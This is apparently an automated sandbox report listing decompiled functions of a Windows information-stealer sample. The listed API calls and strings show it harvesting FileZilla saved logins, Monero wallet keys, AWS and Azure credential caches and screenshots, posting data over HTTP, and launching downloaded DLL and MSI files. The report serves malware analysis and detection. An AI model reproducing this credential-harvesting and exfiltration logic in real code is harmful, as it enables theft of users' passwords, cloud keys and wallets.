StrStrA.SHLWAPI(00000000,<Host>), ref: 00640385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 00640393
StrStrA.SHLWAPI(00000000,<Port>), ref: 006403CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 006403DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00640419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 00640427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00640463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 00640475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 00640502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 0064051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 00640532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 0064054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00640562
lstrcat.KERNEL32(?,profile: null), ref: 00640571
lstrcat.KERNEL32(?,url: ), ref: 00640580
lstrcat.KERNEL32(?,00000000), ref: 00640593
lstrcat.KERNEL32(?,00651678), ref: 006405A2
lstrcat.KERNEL32(?,00000000), ref: 006405B5
lstrcat.KERNEL32(?,0065167C), ref: 006405C4
lstrcat.KERNEL32(?,login: ), ref: 006405D3
lstrcat.KERNEL32(?,00000000), ref: 006405E6
lstrcat.KERNEL32(?,00651688), ref: 006405F5
lstrcat.KERNEL32(?,password: ), ref: 00640604
lstrcat.KERNEL32(?,00000000), ref: 00640617
lstrcat.KERNEL32(?,00651698), ref: 00640626
lstrcat.KERNEL32(?,0065169C), ref: 00640635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00650DB2), ref: 0064068E

Strings

browser: FileZilla, xrefs: 00640559
<User>, xrefs: 00640410
url: , xrefs: 00640577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 006402A4
login: , xrefs: 006405CA
<Pass encoding="base64">, xrefs: 0064045A
password: , xrefs: 006405FB
<Port>, xrefs: 006403C6
<Host>, xrefs: 0064037C
profile: null, xrefs: 00640568

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 7d6e7b4265c823ca3f5c6c9ef72c4ed871b7cf208a72f0ca48539fdbf377dcd6
Instruction ID: c0ad03641eb3afb201c0b9537d32586046a0490d8b7a65fd7848e8ef1e683a9e
Opcode Fuzzy Hash: 7d6e7b4265c823ca3f5c6c9ef72c4ed871b7cf208a72f0ca48539fdbf377dcd6
Instruction Fuzzy Hash: C8D14E71940108AFEB48EBE0DD9AEEE733AFF54301F44451CF506A6095DE34AA4ACB66

Function 00635960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00634839
Part of subcall function 006347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006359F8
StrCmpCA.SHLWAPI(?,014507B0), ref: 00635A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00635B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01450630,00000000,?,0144B7F0,00000000,?,00651A1C), ref: 00635E71
lstrlen.KERNEL32(00000000), ref: 00635E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00635E93
RtlAllocateHeap.NTDLL(00000000), ref: 00635E9A
lstrlen.KERNEL32(00000000), ref: 00635EAF
lstrlen.KERNEL32(00000000), ref: 00635ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00635EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00635F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00635F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00635F4C
InternetCloseHandle.WININET(00000000), ref: 00635FB0
InternetCloseHandle.WININET(00000000), ref: 00635FBD
HttpOpenRequestA.WININET(00000000,01450760,?,0144FDD8,00000000,00000000,00400100,00000000), ref: 00635BF8

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

InternetCloseHandle.WININET(00000000), ref: 00635FC7

Strings

------, xrefs: 00635C0B
", xrefs: 00635CD5
------, xrefs: 00635A96
", xrefs: 00635E16
------, xrefs: 00635D4C

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 05ac3d59d9946250bf1a5654278725c7f31e2e78dc39a5c6dc83a637349ad9c5
Instruction ID: b11f4cdf0a59af8c85802b71eb2af14cddc69e51243210cdf9046b1c4c212285
Opcode Fuzzy Hash: 05ac3d59d9946250bf1a5654278725c7f31e2e78dc39a5c6dc83a637349ad9c5
Instruction Fuzzy Hash: BA12FC71860118BEEB59EBA0DC95FEEB37AFF54700F40419DB10A62091EF706A49CF69

Function 0063CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 00648B60: GetSystemTime.KERNEL32(00650E1A,0144B8B0,006505AE,?,?,006313F9,?,0000001A,00650E1A,00000000,?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 00648B86

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0063CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0063D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0063D0CE
lstrcat.KERNEL32(?,00000000), ref: 0063D208
lstrcat.KERNEL32(?,00651478), ref: 0063D217
lstrcat.KERNEL32(?,00000000), ref: 0063D22A
lstrcat.KERNEL32(?,0065147C), ref: 0063D239
lstrcat.KERNEL32(?,00000000), ref: 0063D24C
lstrcat.KERNEL32(?,00651480), ref: 0063D25B
lstrcat.KERNEL32(?,00000000), ref: 0063D26E
lstrcat.KERNEL32(?,00651484), ref: 0063D27D
lstrcat.KERNEL32(?,00000000), ref: 0063D290
lstrcat.KERNEL32(?,00651488), ref: 0063D29F
lstrcat.KERNEL32(?,00000000), ref: 0063D2B2
lstrcat.KERNEL32(?,0065148C), ref: 0063D2C1
lstrcat.KERNEL32(?,00000000), ref: 0063D2D4
lstrcat.KERNEL32(?,00651490), ref: 0063D2E3

Part of subcall function 0064A820: lstrlen.KERNEL32(00634F05,?,?,00634F05,00650DDE), ref: 0064A82B
Part of subcall function 0064A820: lstrcpy.KERNEL32(00650DDE,00000000), ref: 0064A885

lstrlen.KERNEL32(?), ref: 0063D32A
lstrlen.KERNEL32(?), ref: 0063D339

Part of subcall function 0064AA70: StrCmpCA.SHLWAPI(0144A068,0063A7A7,?,0063A7A7,0144A068), ref: 0064AA8F

DeleteFileA.KERNEL32(00000000), ref: 0063D3B4

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 935d73809c21ee889082d48280861ec04bb6c8c754814906e1a5579160eef635
Instruction ID: ccec92ec61f21ee1ca6c342c247d05dee67175b94c6f8615e00aa314c4b633ca
Opcode Fuzzy Hash: 935d73809c21ee889082d48280861ec04bb6c8c754814906e1a5579160eef635
Instruction Fuzzy Hash: 29E15E71850108BBDB48EBE0DD9AEEE737AFF54301F104158F506A6091DE35AE49CBA6

Function 0063C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0144DF28,00000000,?,0065144C,00000000,?,?), ref: 0063CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0063CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0063CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0063CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0063CAD9
StrStrA.SHLWAPI(?,0144DE38,00650B52), ref: 0063CAF7
StrStrA.SHLWAPI(00000000,0144E018), ref: 0063CB1E
StrStrA.SHLWAPI(?,0144E8E0,00000000,?,00651458,00000000,?,00000000,00000000,?,0144A078,00000000,?,00651454,00000000,?), ref: 0063CCA2
StrStrA.SHLWAPI(00000000,0144E900), ref: 0063CCB9

Part of subcall function 0063C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0063C871
Part of subcall function 0063C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0063C87C

StrStrA.SHLWAPI(?,0144E900,00000000,?,0065145C,00000000,?,00000000,0144A098), ref: 0063CD5A
StrStrA.SHLWAPI(00000000,01449E28), ref: 0063CD71

Part of subcall function 0063C820: lstrcat.KERNEL32(?,00650B46), ref: 0063C943
Part of subcall function 0063C820: lstrcat.KERNEL32(?,00650B47), ref: 0063C957
Part of subcall function 0063C820: lstrcat.KERNEL32(?,00650B4E), ref: 0063C978

lstrlen.KERNEL32(00000000), ref: 0063CE44
CloseHandle.KERNEL32(00000000), ref: 0063CE9C

Strings

, xrefs: 0063C9C6

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 89d0d30f16a6364943c5c9d908dbf9345ffcc8f4c7d4783f435b188383f8f171
Instruction ID: 1d89abe3d897fc94fc57956871f8dd0df7ff0405a703a06d07f3d061569b8b03
Opcode Fuzzy Hash: 89d0d30f16a6364943c5c9d908dbf9345ffcc8f4c7d4783f435b188383f8f171
Instruction Fuzzy Hash: 30E1E971850108BEEB58EBE0DC95FEEB77AFF54300F40415DF50666191EE306A8ACB6A

Function 00648320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

RegOpenKeyExA.ADVAPI32(00000000,0144C048,00000000,00020019,00000000,006505B6), ref: 006483A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00648426
wsprintfA.USER32 ref: 00648459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0064847B
RegCloseKey.ADVAPI32(00000000), ref: 0064848C
RegCloseKey.ADVAPI32(00000000), ref: 00648499

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Strings

%s\%s, xrefs: 0064844D
?, xrefs: 0064837A
- , xrefs: 006485A3

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 60c731dfa11d2fe8ba98ce4fe0c15c2781ee7bf261aa2a924e874942303735b3
Instruction ID: 8f7bd391ea94e18b5a6b368bce6062067187cf90956b705ab28207df63a8f026
Opcode Fuzzy Hash: 60c731dfa11d2fe8ba98ce4fe0c15c2781ee7bf261aa2a924e874942303735b3
Instruction Fuzzy Hash: 4C810B71951118AFEB68DB94CC95FEEB7B9FF48700F008298E109A6180DF71AB85CF95

Function 00644D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00648DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00648E0B

lstrcat.KERNEL32(?,00000000), ref: 00644DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00644DCD

Part of subcall function 00644910: wsprintfA.USER32 ref: 0064492C
Part of subcall function 00644910: FindFirstFileA.KERNEL32(?,?), ref: 00644943

lstrcat.KERNEL32(?,00000000), ref: 00644E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00644E59

Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,00650FDC), ref: 00644971
Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,00650FE0), ref: 00644987
Part of subcall function 00644910: FindNextFileA.KERNEL32(000000FF,?), ref: 00644B7D
Part of subcall function 00644910: FindClose.KERNEL32(000000FF), ref: 00644B92

lstrcat.KERNEL32(?,00000000), ref: 00644EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00644EE5

Part of subcall function 00644910: wsprintfA.USER32 ref: 006449B0
Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,006508D2), ref: 006449C5
Part of subcall function 00644910: wsprintfA.USER32 ref: 006449E2
Part of subcall function 00644910: PathMatchSpecA.SHLWAPI(?,?), ref: 00644A1E
Part of subcall function 00644910: lstrcat.KERNEL32(?,01450700), ref: 00644A4A
Part of subcall function 00644910: lstrcat.KERNEL32(?,00650FF8), ref: 00644A5C
Part of subcall function 00644910: lstrcat.KERNEL32(?,?), ref: 00644A70
Part of subcall function 00644910: lstrcat.KERNEL32(?,00650FFC), ref: 00644A82
Part of subcall function 00644910: lstrcat.KERNEL32(?,?), ref: 00644A96
Part of subcall function 00644910: CopyFileA.KERNEL32(?,?,00000001), ref: 00644AAC
Part of subcall function 00644910: DeleteFileA.KERNEL32(?), ref: 00644B31

Strings

Azure\.azure, xrefs: 00644DD3
msal.cache, xrefs: 00644EF0
\.IdentityService\, xrefs: 00644ED9
Azure\.aws, xrefs: 00644E5F
*.*, xrefs: 00644E64
\.azure\, xrefs: 00644DC1
Azure\.IdentityService, xrefs: 00644EEB
*.*, xrefs: 00644DD8
\.aws\, xrefs: 00644E4D

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 7c5f9da36c351089d07c542df87d97c1abf862f284f4eb0dd52117be9c1aa1b1
Instruction ID: 1deea5e17f388ff86754500bfff3645bcd2969df3f19eb4eee7a682dc5d8ed89
Opcode Fuzzy Hash: 7c5f9da36c351089d07c542df87d97c1abf862f284f4eb0dd52117be9c1aa1b1
Instruction Fuzzy Hash: 9A41A6BA94020867D754F7B0EC47FED733AAB65705F004458B589660C1EEB49BCD8B93

Function 00649010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0064906C

Strings

image/jpeg, xrefs: 00649136

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 66de849d55882475984115713192380c30b4ed43ae5dd95cde36ea8c479be6a1
Instruction ID: 99799d30d4eaf70e1ae8e4fa2299b1bc724bad45e0f47d5eaa7846b9e0b32c57
Opcode Fuzzy Hash: 66de849d55882475984115713192380c30b4ed43ae5dd95cde36ea8c479be6a1
Instruction Fuzzy Hash: 95710DB1910208ABDB08DFE4DC89FEEB7B9BF88700F148518F519A7294DB74E945CB61

Function 00642E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

ShellExecuteEx.SHELL32(0000003C), ref: 006431C5
ShellExecuteEx.SHELL32(0000003C), ref: 0064335D
ShellExecuteEx.SHELL32(0000003C), ref: 006434EA

Strings

C:\Windows\system32\msiexec.exe, xrefs: 006434BF
.msi, xrefs: 00643398
.dll, xrefs: 006431E5
<, xrefs: 00643490
"" , xrefs: 0064309A
/i ", xrefs: 006433E4
